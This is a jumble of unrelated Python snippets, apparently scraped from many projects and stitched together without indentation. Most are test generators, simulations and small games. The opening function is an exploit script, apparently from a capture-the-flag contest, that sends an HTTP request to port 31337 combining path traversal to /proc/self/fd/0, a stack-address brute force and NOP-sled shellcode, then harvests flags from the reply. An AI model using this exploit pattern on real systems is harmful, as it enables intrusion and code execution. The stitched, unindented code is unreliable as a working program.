def try_attack(n):
stack = int("ff*+-000" \
.replace("*", al[R(0, len(al) - 1)]) \
.replace("+", al[R(0, len(al) - 1)]) \
.replace("-", al[R(0, len(al) - 1)]), 16)
payload = b"A" * 16
payload += p32(stack)
payload += nop_slide(shellcode)
data = b""
data += f"POST /static/{due('../../../proc/self/fd/0')} HTTP/1.1\r\n".encode()
data += f"Host: {ip}:31337\r\n".encode()
data += (b"Kekmeister: " + b"\x90" * 200 + b"\r\n") * 100
data += f"Content-Length: {len(payload)}\r\n\r\n".encode()
data += payload
s = socket.socket()
s.connect((ip, 31337))
s.sendall(data)
time.sleep(5)
r = s.recv(30000)
s.close()
flags = re.findall(flag_re, r)
if len(flags) > 0:
print(flags)
else:
print(f'Attack {n}')
def test_rand(self):
from random import randint as R, sample as S
from math import log2, ceil
def solution(a, n):
n -= 1
l = 2**int(log2(ceil((n + 1) / len(a))))
r = (n - (l - 1) * len(a)) // l
return a[r]
names = [
"Sheldon", "Leonard", "Penny", "Rajesh", "Howard",
"Daisuke Aramaki", "Motoko Kusanagi", "Batou", "Togusa",
"Ishikawa", "Saito", "Pazu", "Borma", "Azuma", "Yano", "Proto"
]
for _ in range(100):
a = S(names, R(1, 16))
n = R(1, 1000)
self.assertEqual(who_is_next(a[:], n), solution(a, n))
for _ in range(100):
a = S(names, R(1, 16))
n = R(10**24, 10**30)
self.assertEqual(who_is_next(a[:], n), solution(a, n))
def initialize_param(no_targets,no_observers): targets=[] observers=[] for i in range(no_targets): targets.append(T(R()*150,R()*150,target_speed[RI(0,5)],R()*360,sensor_range[RI(0,4)])) for i in range(no_observers): observers.append(O(R()*150,R()*150,observer_speed,sensor_range[RI(0,4)])) return (no_targets,no_observers,targets,observers)
def test_rand(self):
from random import randint as R, choices as C
sol = lambda s: (lambda res: None if len(res) < 3 else " ".join(res[
1:-1]))(s.split(","))
for _ in range(200):
s = ",".join("".join(C("abcdef0123456", k=R(1, 3)))
for _ in range(R(1, 10)))
self.assertEqual(array(s), sol(s))
def gen_fake_stdout():
expr = []
for _ in range(R(1, 3)):
if C([True, False]):
expr.append(self._random_str(R(1, 20)))
else:
expr.append('{0} {1} {2}'.format(R(1, 100), C(OPER),
R(1, 100)))
return '\n{0} print '.format(space).join(expr)
def test_rand(self):
def solution(array, n):
if len(array) <= n:
return -1
return (array[n]**n)
from random import randint as R
for _ in range(100):
n = R(0, 10)
a = [R(0, 20) for _ in range(R(0, 10))]
self.assertEqual(index(a[:], n), solution(a, n))
def it_1():
for _ in range(100):
a, n = (R(0, 255), R(0, 255), R(0, 255)), R(1, 20)
result, user = Solution(a, n), Potion(a, n)
for _ in range(R(1, 5)):
a, n = (R(0, 255), R(0, 255), R(0, 255)), R(1, 20)
result, user = result.mix(Solution(a, n)), user.mix(Potion(a, n))
Test.assert_equals(user.color, result.color)
Test.assert_equals(user.volume, result.volume)
def initialize(self):
no_observers_arr=[2,6,10,14,18]
no_targets_arr=[3,9,15,21,27]
target_speed=[0.2,0.5,0.8,1.0,1.2,1.5]
observer_speed=1.0
sensor_range=[5,10,15,20,25]
observer_target_dict={}
obstacle_len=[2,5,8,10,12,20]
targets=[]
a=[-1 ,1]
observers=[]
obstacles=[]
no_targets=no_targets_arr[RI(0,4)]
no_observers=no_observers_arr[RI(0,4)]
no_obstacles=int(ceil(no_targets/3))
for i in range(no_targets):
targets.append(T(R()*150*a[RI(0,1)],R()*150*a[RI(0,1)],target_speed[RI(0,5)],R()*360,sensor_range[RI(0,4)]))
for i in range(no_observers):
observers.append(O(R()*150*a[RI(0,1)],R()*150*a[RI(0,1)],observer_speed,sensor_range[RI(0,4)]))
for i in range(no_obstacles):
obs_len=obstacle_len[RI(0,5)]
angle=R()*360
pos_x=R()*150*a[RI(0,1)]
pos_y=R()*150*a[RI(0,1)]
temp_obs=[]
for j in range(obs_len):
temp_obs.append(Ob(pos_x+j*sin(angle),pos_y+j*cos(angle),angle,i))
obstacles.append((obs_len,temp_obs))
return (no_targets,no_observers,no_obstacles,targets,observers,obstacles)
def initialize():
targets = []
a = [-1, 1]
observers = []
obstacles = []
no_targets = no_targets_arr[RI(0, 4)]
no_observers = no_observers_arr[RI(0, 4)]
no_obstacles = int(ceil(no_targets / 3))
for i in range(no_targets):
targets.append(
T(R() * 150 * a[RI(0, 1)],
R() * 150 * a[RI(0, 1)], target_speed[RI(0, 5)],
R() * 360, sensor_range[RI(0, 4)]))
for i in range(no_observers):
observers.append(
O(R() * 150 * a[RI(0, 1)],
R() * 150 * a[RI(0, 1)], observer_speed, sensor_range[RI(0, 4)]))
for i in range(no_obstacles):
obs_len = obstacle_len[RI(0, 5)]
angle = R() * 360
pos_x = R() * 150 * a[RI(0, 1)]
pos_y = R() * 150 * a[RI(0, 1)]
temp_obs = []
for j in range(obs_len):
temp_obs.append(
Ob(pos_x + j * sin(angle), pos_y + j * cos(angle), angle, i))
obstacles.append((obs_len, temp_obs))
return (no_targets, no_observers, no_obstacles, targets, observers,
obstacles)
def initialize_param(self, no_targets, no_observers, sensor_range_targets,
sensor_range_observers, target_spd):
targets = []
observers = []
for i in range(no_targets):
targets.append(
T(R() * 150,
R() * 150, target_spd,
R() * 360, sensor_range_observers))
for i in range(no_observers):
observers.append(
O(R() * 150,
R() * 150, self.observer_speed, sensor_range_targets))
return (no_targets, no_observers, targets, observers)
def make_smtp_data(count=1000):
delim0 = '\r\n'
delim1 = '\r\n.\r\n'
r = []
# count mail messages
for i in range(count):
# 5 to 100 header lines/commands
for i in R(5, 100):
# each 15 to 200 chars long
r.append('0' * R(15, 200))
r.append(delim0)
# followed by message content of 300-15k
r.append('1' * R(300, 15000))
r.append(delim1)
return ''.join(r)
def rand_if(self, space_lenght=0):
"""Create a randomized stat if"""
space, if_st = ' ' * space_lenght, ""
# <-- generate -->
def gen_fake_stdout():
expr = []
for _ in range(R(1, 3)):
if C([True, False]):
expr.append(self._random_str(R(1, 20)))
else:
expr.append('{0} {1} {2}'.format(R(1, 100), C(OPER),
R(1, 100)))
return '\n{0} print '.format(space).join(expr)
def gen_fake_if():
if C([True, False]):
return self._random_str(5), '!='
else:
return R(1, 100), '-'
el = ''
for i in range(R(1, 4)):
var, OP = gen_fake_if()
if_st += '{0}{1}if {2} {3} {2} : \n{0} print {4}\n'.format(
space, el, var, OP, gen_fake_stdout())
if C([True, False]):
space = space + (' ' * 4)
el = ''
else:
if i != 1:
el = 'el'
# <-- done -->
return if_st[:-1]
def check_get_signature(self, sess, ssize, stext, fId, ok=True):
offsets = []
while len(offsets) < 16:
o = R(0, ssize - 1)
if stext[o] == ord('.') or stext[o] == ord('/'):
continue
offsets.append(o)
sign = self.get_signature(sess, fId, offsets, ok)
if sign is None:
return None
signOrigin = b""
for off in offsets:
c = stext[off]
if 32 <= c < 127:
signOrigin += chr(c).encode()
else:
signOrigin += b"\\x" + hex(c)[2:].zfill(2).encode()
signOrigin = base64.b64encode(signOrigin).decode()
assert_eq(sign, signOrigin, "Invalid signature")
return sign
def make_line_data(delim_size, count=10000):
delim = make_delim(delim_size)
r = []
for i in range(count):
r.append('0' * R(20, 150))
r.append(delim)
return ''.join(r)
def test_should_find_missing_number_for_random_performance_tests():
base = list(range(1, 1000001))
S(base)
for _ in range(20):
n = R(1, 1000000)
a = base[:]
a.remove(n)
assert find_missing_number(a) == n
def initialize(self):
targets = []
observers = []
no_targets = self.no_targets_arr[RI(0, 4)]
no_observers = self.no_observers_arr[RI(0, 4)]
sensor_range_targets = self.sensor_range[RI(0, 4)]
sensor_range_observers = self.sensor_range[RI(0, 4)]
for i in range(no_targets):
targets.append(
T(R() * 150,
R() * 150, self.target_speed[RI(0, 5)],
R() * 360, sensor_range_observers))
for i in range(no_observers):
observers.append(
O(R() * 150,
R() * 150, self.observer_speed, sensor_range_targets))
return (no_targets, no_observers, targets, observers)
def str_prod(s, lo, hi=None):
# string producer, make chunks of size in the range lo, hi (or just <lo>)
i = 0
ls = len(s)
while i < ls:
if hi is None:
size = lo
else:
size = R(lo, hi)
yield s[i:i + size]
i += size
def genexpr(kw, endprob, probgrad):
res = ''
if R(0, 1):
res += '!'
if random.random() < endprob:
res += random.choice(kw['content'])
return res
par = R(0, 1)
if par:
res += '('
res += genexpr(kw, endprob * probgrad, probgrad)
res += random.choice(['&', '|'])
res += genexpr(kw, endprob * probgrad, probgrad)
if par:
res += ')'
return res
def random_proname():
"""生成一个数据库里面未注册的项目名称"""
while True:
name = "fls"
for i in range(5):
r = R(0, 9)
name += str(r)
# 数据库查询该用户名是否存在
sql = 'SELECT * FROM test.tb_projects WHERE name="{}"'.format(name)
res = db.find_count(sql)
# 如果不存在,则返回该用户名
if res == 0:
return name
def foo11():
l = []
total = 0
for i in range(100):
l.append(R(0, 1000))
for item in l:
count = 0
for Item in l:
if abs(item - Item) <= 20:
count += 1
if count <= 1:
total += 1
return total
def initialize(self):
no_observers_arr = [2, 6, 10, 14, 18]
no_targets_arr = [3, 9, 15, 21, 27]
self.x_limit = 150
self.y_limit = 150
target_speed = [0.2, 0.5, 0.8, 1.0, 1.2, 1.5]
observer_speed = 1.0
sensor_range = [5, 10, 15, 20, 25]
self.total_steps = 1500
self.update_steps = 10
observer_target_dict = {}
obstacle_len = [2, 5, 8, 10, 12, 20]
self.template_probability_distribution = [
0.001953125, 0.001953125, 0.00390625, 0.0078125, 0.015625, 0.03125,
0.0625, 0.125, 0.25, 0.5
]
targets = []
a = [-1, 1]
observers = []
obstacles = []
observer_strategy = []
no_targets = no_targets_arr[RI(0, 4)]
no_observers = no_observers_arr[RI(0, 4)]
no_obstacles = int(ceil(no_targets / 3))
for i in range(no_targets):
targets.append(
T(R() * 150 * a[RI(0, 1)],
R() * 150 * a[RI(0, 1)], target_speed[RI(0, 5)],
R() * 360, sensor_range[RI(0, 4)]))
for i in range(no_observers):
observers.append(
O(R() * 150 * a[RI(0, 1)],
R() * 150 * a[RI(0, 1)], observer_speed,
sensor_range[RI(0, 4)]))
observer_strategy.append(RI(1, 4))
for i in range(no_obstacles):
obs_len = obstacle_len[RI(0, 5)]
angle = R() * 360
pos_x = R() * 150 * a[RI(0, 1)]
pos_y = R() * 150 * a[RI(0, 1)]
temp_obs = []
for j in range(obs_len):
temp_obs.append(
Ob(pos_x + j * sin(angle), pos_y + j * cos(angle), angle,
i))
obstacles.append((obs_len, temp_obs))
return (no_targets, no_observers, no_obstacles, targets, observers,
obstacles, observer_strategy)
def generate_binary(text):
name = rnd_string(15)
with open(f"/tmp/{name}.c", "w") as f:
code = ""
l = R(3, 6)
r = R(3, 6)
for i in range(l):
code += choice(prints).format(rnd_string(10), 10)
code += choice(prints).format(text, len(text))
for i in range(r):
code += choice(prints).format(rnd_string(10), 10)
f.write(template.format(code))
p = Popen(["gcc", f"/tmp/{name}.c", "-o", f"/tmp/{name}"])
p.wait()
return f"/tmp/{name}"
def random_intername():
"""生成一个数据库里面未注册的接口名"""
while True:
name = "inter"
for i in range(5):
r = R(0, 9)
name += str(r)
# 数据库查询该用户名是否存在
# sql = "SELECT * From test.auth_user WHERE username ={}".format(name)
sql = 'SELECT * FROM test.tb_interfaces WHERE name="{}"'.format(name)
res = db.find_count(sql)
# 如果不存在,则返回该用户名
if res == 0:
return name
def m(s):
a = lambda o, y, x: y.addch(o[0], o[1], x)
q = lambda: (R(L - 2), R(C - 2))
L, C = s.getmaxyx()
curs_set(0)
s.nodelay(1)
s.border()
s.refresh()
r = newwin(L - 2, C - 2, 1, 1)
n = deque()
y, x = [L - 2, 0]
d = N
n.append(u)
c = N
p = q()
a(p, r, N)
a(u, s, 48)
while 1:
if c in z: d = c
if d == N: y -= 1
if d == S: y += 1
if d == W: x -= 1
if d == E: x += 1
l = n.pop()
if (y, x) in n: return
if (y, x) == p:
p = q()
a(p, r, N)
n.append(l)
s.addstr(0, 0, str(len(n)))
n.appendleft((y, x))
a((y, x), r, S)
a(l, r, 32)
r.refresh()
time.sleep(.2)
c = s.getch()
def random_email():
"""生成一个数据库里面未注册的邮箱地址"""
while True:
num = ""
address = ""
email = "@qq.com"
for i in range(9):
r = R(0, 9)
num += str(r)
address = num + email
# 数据库查询该用户名是否存在
sql = 'SELECT * from test.auth_user WHERE email ="{}"'.format(
address)
res = db.find_count(sql)
# 如果不存在,则返回该用户名
if res == 0:
return address
def it_1():
for _ in range(100):
n = R(1, 20)
a = [[R(1, 1000) for _ in range(n)] for _ in range(n)]
b = [x[:] for x in a]
test.assert_equals(snail(a), solution(b))
def game():
# set f to True
f = True
# the true grid
minegrid = [[0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0]]
# the grid you see at first
graygrid = [[None, None, None, None, None, None, None, None],
[None, None, None, None, None, None, None, None],
[None, None, None, None, None, None, None, None],
[None, None, None, None, None, None, None, None],
[None, None, None, None, None, None, None, None],
[None, None, None, None, None, None, None, None],
[None, None, None, None, None, None, None, None],
[None, None, None, None, None, None, None, None]]
# give mines
mines = 10
mine_locations = set()
# add mines to empty mine field
while len(mine_locations) < mines:
row = R(0, 7)
col = R(0, 7)
mine_locations.add((row, col))
minegrid[row][col] = '*'
for row in range(len(graygrid)):
for col in range(len(graygrid[row])):
if minegrid[row][col] == "*":
continue
count = 0
for i in range(-1, 2):
for j in range(-1, 2):
if in_bounds(row + i, col + j, minegrid) and check_if_mine(
row + i, col + j, minegrid):
count += 1
minegrid[row][col] = count
# loop
while f is True:
# show grid
print('\n' * 30)
print(show_grid(graygrid))
while True:
# show instructions
guess = input(
"""Give X and Y coordinates (x, y). Type 'R' to restart, 'Q' to
quit: """).strip().lower()
# options
if guess == "r":
game()
elif guess == "q":
sys.exit()
elif is_valid(guess):
# split input into a list
guess = guess.split(',')
# set x and y to be what user has input
x = (int(guess[0]) - 1)
y = (int(guess[1]) - 1)
break
# check for a mine
graygrid[y][x] = minegrid[y][x]
f = is_mine((minegrid[y][x]), minegrid, graygrid)
from random import randint as R
N = 500
K = 87
print(N, K)
for _ in range(N):
print(R(0, 100), R(0, 100))
def gen_problemsRnd(max):
i = 0
while i < max:
problems.append([int(R(1, 10, 1)), int(R(1, 100, 1))])
i += 1
return problems
def init():
for i in range(10):
M.append(["."] * 10)
V.append([50] * 10)
M[0][0] = "P"
M[R(2, 9)][R(2, 9)] = "F"